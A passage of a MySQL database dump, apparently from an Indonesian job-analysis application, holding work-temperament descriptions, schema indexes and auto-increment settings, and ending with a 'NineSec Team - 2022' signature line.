(2, 'F', 'Kemampuan menyesuaikan diri dengan kegiatan yang mengandung penafsiran perasaan, gagasan atau fakta dari sudut pandang pribadi', '2018-10-17 18:51:40', '2018-10-17 18:51:40'),
(3, 'I', 'Kemampuan menyesuaikan diri untuk pekerjaan - pekerjaan mempengaruhi orang lain dalam pendapat, sikap atau pertimbangan mengenai gagasan', '2018-10-17 18:53:20', '2018-10-17 18:53:20'),
(4, 'J', 'Kemampuan menyesuaikan diri pada kegiatan perbuatan kesimpulan penilaian atau pembuatan peraturan berdasarkan kriteria rangsangan indera atau atas dasar pertimbangan pribadi', '2018-10-17 18:55:00', '2018-10-17 18:55:00'),
(5, 'M', 'Kemampuan menyesuaikan diri dengan kegiatan pengambilan peraturan, pembuatan pertimbangan atau pembuatan peraturan berdasarkan kriteria yang diukur atau yang dapat diuji', '2018-10-17 18:56:55', '2018-10-17 18:56:55'),
(6, 'P', 'Kemampuan menyesuaikan diri dalam berhubungan dengan orang lain lebih dari hanya penerimaan dan pembuatan instruksi', '2018-10-17 18:57:43', '2018-10-17 18:57:43'),
(7, 'R', 'Kemampuan menyesuaikan diri dalam kegiatan-kegiatan yang berulang atau secara terus menerus melakukan kegiatan yang sama, sesuai dengan perangkat prosedur, urutan atau kecepatan yang tertentu', '2018-10-17 19:01:13', '2018-10-17 19:01:13'),
(8, 'S', 'kemampuan menyesuaikan diri untuk bekerja dengan ketegangan jiwa jika berhadapan dengan keadaan darurat, kritis, tidak biasa atau bahaya atau bekerja dengan kecepatan kerja dan perhatian terus menerus merupakan keseluruhan atau sebagian aspek pekerjaan', '2018-10-17 19:04:37', '2018-10-17 19:04:37'),
(9, 'T', 'Kemampuan menyesuaikan diri dengan situasi yang menghendaki pencapaian dengan tepat menurut perangkat batas, toleransi atau standar-standar tertentu', '2018-10-17 19:06:48', '2018-10-17 19:06:48'),
(10, 'V', 'Kemampuan menyesuaikan diri untuk melaksanakan berbagai tugas, sering berganti dari tuags yang satu ke tugas yang lainnya yang berbeda sifatnya tanpa kehilangan efisiensi atau ketenangan diri', '2018-10-17 19:09:46', '2018-10-17 19:09:46');

-- --------------------------------------------------------

--
-- Table structure for table `work_tools`
--

CREATE TABLE `work_tools` (
  `id` int(10) UNSIGNED NOT NULL,
  `tool` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `tool_use` varchar(255) COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `analysis_id` int(10) UNSIGNED NOT NULL,
  `created_at` timestamp NULL DEFAULT NULL,
  `updated_at` timestamp NULL DEFAULT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

--
-- Dumping data for table `work_tools`
--

INSERT INTO `work_tools` (`id`, `tool`, `tool_use`, `analysis_id`, `created_at`, `updated_at`) VALUES
(1, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(2, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(3, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18'),
(4, NULL, NULL, 18, '2019-01-31 07:04:18', '2019-01-31 07:04:18');

--
-- Indexes for dumped tables
--

--
-- Indexes for table `agency`
--
ALTER TABLE `agency`
  ADD PRIMARY KEY (`agency_id`);

--
-- Indexes for table `authorities`
--
ALTER TABLE `authorities`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `conditions`
--
ALTER TABLE `conditions`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `correlations`
--
ALTER TABLE `correlations`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `dic_units`
--
ALTER TABLE `dic_units`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `dic_work_materials`
--
ALTER TABLE `dic_work_materials`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `dic_work_tools`
--
ALTER TABLE `dic_work_tools`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `employee`
--
ALTER TABLE `employee`
  ADD PRIMARY KEY (`employee_id`),
  ADD KEY `employee_position_id_foreign` (`position_id`);

--
-- Indexes for table `evaluation`
--
ALTER TABLE `evaluation`
  ADD PRIMARY KEY (`evaluation_id`),
  ADD KEY `evaluation_position_id_foreign` (`position_id`),
  ADD KEY `evaluation_organization_id_foreign` (`organization_id`),
  ADD KEY `evaluation_agency_id_foreign` (`agency_id`);

--
-- Indexes for table `eval_detail`
--
ALTER TABLE `eval_detail`
  ADD PRIMARY KEY (`detail_id`),
  ADD KEY `eval_detail_evaluation_id_foreign` (`evaluation_id`);

--
-- Indexes for table `factors`
--
ALTER TABLE `factors`
  ADD PRIMARY KEY (`factor_id`);

--
-- Indexes for table `job_analysis`
--
ALTER TABLE `job_analysis`
  ADD PRIMARY KEY (`analysis_id`),
  ADD KEY `job_analysis_position_id_foreign` (`position_id`),
  ADD KEY `job_analysis_organization_id_foreign` (`organization_id`);

--
-- Indexes for table `job_descriptions`
--
ALTER TABLE `job_descriptions`
  ADD PRIMARY KEY (`id`),
  ADD KEY `job_descriptions_job_analysis_id_foreign` (`job_analysis_id`);

--
-- Indexes for table `job_functions`
--
ALTER TABLE `job_functions`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `migrations`
--
ALTER TABLE `migrations`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `organization`
--
ALTER TABLE `organization`
  ADD PRIMARY KEY (`organization_id`);

--
-- Indexes for table `password_resets`
--
ALTER TABLE `password_resets`
  ADD KEY `password_resets_email_index` (`email`);

--
-- Indexes for table `physical_efforts`
--
ALTER TABLE `physical_efforts`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `position`
--
ALTER TABLE `position`
  ADD PRIMARY KEY (`position_id`),
  ADD KEY `position_organization_id_foreign` (`organization_id`);

--
-- Indexes for table `responsibles`
--
ALTER TABLE `responsibles`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `sub_factors`
--
ALTER TABLE `sub_factors`
  ADD PRIMARY KEY (`sub_factor_id`),
  ADD KEY `sub_factors_factor_id_foreign` (`factor_id`);

--
-- Indexes for table `sub_position`
--
ALTER TABLE `sub_position`
  ADD PRIMARY KEY (`sub_position_id`),
  ADD KEY `sub_position_position_id_foreign` (`position_id`);

--
-- Indexes for table `sys_modules`
--
ALTER TABLE `sys_modules`
  ADD PRIMARY KEY (`modules_id`);

--
-- Indexes for table `sys_roles`
--
ALTER TABLE `sys_roles`
  ADD PRIMARY KEY (`roles_id`),
  ADD KEY `sys_roles_tasks_id_foreign` (`tasks_id`),
  ADD KEY `sys_roles_users_id_foreign` (`users_id`);

--
-- Indexes for table `sys_tasks`
--
ALTER TABLE `sys_tasks`
  ADD PRIMARY KEY (`tasks_id`),
  ADD KEY `sys_tasks_modules_id_foreign` (`modules_id`);

--
-- Indexes for table `users`
--
ALTER TABLE `users`
  ADD PRIMARY KEY (`id`),
  ADD UNIQUE KEY `users_email_unique` (`email`),
  ADD KEY `users_level_id_foreign` (`level_id`);

--
-- Indexes for table `user_level`
--
ALTER TABLE `user_level`
  ADD PRIMARY KEY (`level_id`);

--
-- Indexes for table `workload_analysis`
--
ALTER TABLE `workload_analysis`
  ADD PRIMARY KEY (`workload_id`),
  ADD KEY `workload_analysis_position_id_foreign` (`position_id`),
  ADD KEY `workload_analysis_organization_id_foreign` (`organization_id`);

--
-- Indexes for table `workload_detail`
--
ALTER TABLE `workload_detail`
  ADD PRIMARY KEY (`detail_id`),
  ADD KEY `workload_detail_workload_id_foreign` (`workload_id`);

--
-- Indexes for table `work_envs`
--
ALTER TABLE `work_envs`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `work_interests`
--
ALTER TABLE `work_interests`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `work_materials`
--
ALTER TABLE `work_materials`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `work_performances`
--
ALTER TABLE `work_performances`
  ADD PRIMARY KEY (`id`),
  ADD KEY `work_performances_job_analysis_id_foreign` (`job_analysis_id`);

--
-- Indexes for table `work_results`
--
ALTER TABLE `work_results`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `work_talents`
--
ALTER TABLE `work_talents`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `work_tempraments`
--
ALTER TABLE `work_tempraments`
  ADD PRIMARY KEY (`id`);

--
-- Indexes for table `work_tools`
--
ALTER TABLE `work_tools`
  ADD PRIMARY KEY (`id`);

--
-- AUTO_INCREMENT for dumped tables
--

--
-- AUTO_INCREMENT for table `agency`
--
ALTER TABLE `agency`
  MODIFY `agency_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=7;

--
-- AUTO_INCREMENT for table `authorities`
--
ALTER TABLE `authorities`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;

--
-- AUTO_INCREMENT for table `conditions`
--
ALTER TABLE `conditions`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `correlations`
--
ALTER TABLE `correlations`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `dic_units`
--
ALTER TABLE `dic_units`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=4;

--
-- AUTO_INCREMENT for table `dic_work_materials`
--
ALTER TABLE `dic_work_materials`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- AUTO_INCREMENT for table `dic_work_tools`
--
ALTER TABLE `dic_work_tools`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- AUTO_INCREMENT for table `employee`
--
ALTER TABLE `employee`
  MODIFY `employee_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11;

--
-- AUTO_INCREMENT for table `evaluation`
--
ALTER TABLE `evaluation`
  MODIFY `evaluation_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10;

--
-- AUTO_INCREMENT for table `eval_detail`
--
ALTER TABLE `eval_detail`
  MODIFY `detail_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=37;

--
-- AUTO_INCREMENT for table `factors`
--
ALTER TABLE `factors`
  MODIFY `factor_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=25;

--
-- AUTO_INCREMENT for table `job_analysis`
--
ALTER TABLE `job_analysis`
  MODIFY `analysis_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=25;

--
-- AUTO_INCREMENT for table `job_descriptions`
--
ALTER TABLE `job_descriptions`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=64;

--
-- AUTO_INCREMENT for table `job_functions`
--
ALTER TABLE `job_functions`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=26;

--
-- AUTO_INCREMENT for table `migrations`
--
ALTER TABLE `migrations`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=44;

--
-- AUTO_INCREMENT for table `organization`
--
ALTER TABLE `organization`
  MODIFY `organization_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=58;

--
-- AUTO_INCREMENT for table `physical_efforts`
--
ALTER TABLE `physical_efforts`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=28;

--
-- AUTO_INCREMENT for table `position`
--
ALTER TABLE `position`
  MODIFY `position_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=210;

--
-- AUTO_INCREMENT for table `responsibles`
--
ALTER TABLE `responsibles`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;

--
-- AUTO_INCREMENT for table `sub_factors`
--
ALTER TABLE `sub_factors`
  MODIFY `sub_factor_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=98;

--
-- AUTO_INCREMENT for table `sub_position`
--
ALTER TABLE `sub_position`
  MODIFY `sub_position_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT;

--
-- AUTO_INCREMENT for table `sys_modules`
--
ALTER TABLE `sys_modules`
  MODIFY `modules_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=8;

--
-- AUTO_INCREMENT for table `sys_roles`
--
ALTER TABLE `sys_roles`
  MODIFY `roles_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=71;

--
-- AUTO_INCREMENT for table `sys_tasks`
--
ALTER TABLE `sys_tasks`
  MODIFY `tasks_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=36;

--
-- AUTO_INCREMENT for table `users`
--
ALTER TABLE `users`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=54;

--
-- AUTO_INCREMENT for table `user_level`
--
ALTER TABLE `user_level`
  MODIFY `level_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3;

--
-- AUTO_INCREMENT for table `workload_analysis`
--
ALTER TABLE `workload_analysis`
  MODIFY `workload_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=15;

--
-- AUTO_INCREMENT for table `workload_detail`
--
ALTER TABLE `workload_detail`
  MODIFY `detail_id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=17;

--
-- AUTO_INCREMENT for table `work_envs`
--
ALTER TABLE `work_envs`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2;

--
-- AUTO_INCREMENT for table `work_interests`
--
ALTER TABLE `work_interests`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11;

--
-- AUTO_INCREMENT for table `work_materials`
--
ALTER TABLE `work_materials`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;

--
-- AUTO_INCREMENT for table `work_performances`
--
ALTER TABLE `work_performances`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=52;

--
-- AUTO_INCREMENT for table `work_results`
--
ALTER TABLE `work_results`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;

--
-- AUTO_INCREMENT for table `work_talents`
--
ALTER TABLE `work_talents`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=12;

--
-- AUTO_INCREMENT for table `work_tempraments`
--
ALTER TABLE `work_tempraments`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=11;

--
-- AUTO_INCREMENT for table `work_tools`
--
ALTER TABLE `work_tools`
  MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5;
COMMIT;

/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;

NineSec Team - 2022